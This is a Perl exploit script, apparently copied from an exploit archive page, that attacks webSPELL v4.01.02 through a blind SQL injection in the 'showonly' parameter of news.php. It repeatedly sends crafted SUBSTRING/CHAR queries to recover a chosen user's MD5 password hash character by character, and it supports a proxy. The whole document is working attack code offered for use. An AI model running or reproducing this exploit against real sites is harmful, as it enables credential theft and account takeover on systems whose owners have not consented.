#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print \"
\\#\'#/ \";
print \"
(-.-) \";
print \"
-------------------oOO---(_)---OOo-------------------\";
print \"
| webSPELL v4.01.02 (showonly) Remote SQL Injection |\";
print \"
| (works only with register_globals = on) |\";
print \"
| coded by DNX |\";
print \"
-----------------------------------------------------\";
print \"
[!] Bug: in news.php line 601 $showonly is unquoted, so u can inject sql code\";
print \"
[!] Solution: install security fix\";
print \"
[!] Usage: perl ws.pl [Host] [Path] <Options>\";
print \"
[!] Example: perl ws.pl 127.0.0.1 /webspell/ -i 2 -t my_user\";
print \"
[!] Options:\";
print \"
-i [no] User-ID, default is 1\";
print \"
-t [name] Changed the user table name, default is webs_user\";
print \"
-p [ip:port] Proxy support\";
print \"
\";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $user = 1;
my $table = \"webs_user\";
my %options = ();
GetOptions(\\%options, \"i=i\", \"t=s\", \"p=s\");
print \"[!] Exploiting...
\";
if($options{\"i\"})
{
$user = $options{\"i\"};
}
if($options{\"t\"})
{
$table = $options{\"t\"};
}
syswrite(STDOUT, \"[!] MD5-Hash: \", 14);
for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $table, $user, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$found)
{
$h = 97;
while(!$found && $h <= 122)
{
if(istrue2($host, $path, $table, $user, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}
print \"
[!] Exploit done
\";
sub istrue2
{
my $host = shift;
my $path = shift;
my $table = shift;
my $uid = shift;
my $i = shift;
my $h = shift;
my $ua = LWP::UserAgent->new;
my $url = \"http://\".$host.$path.\"index.php?site=news&showonly=%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")\";
if($options{\"p\"})
{
$ua->proxy(\'http\', \"http://\".$options{\"p\"});
}
my $response = $ua->get($url);
my $content = $response->content;
my $regexp = \"Author\";
if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}
暂无评论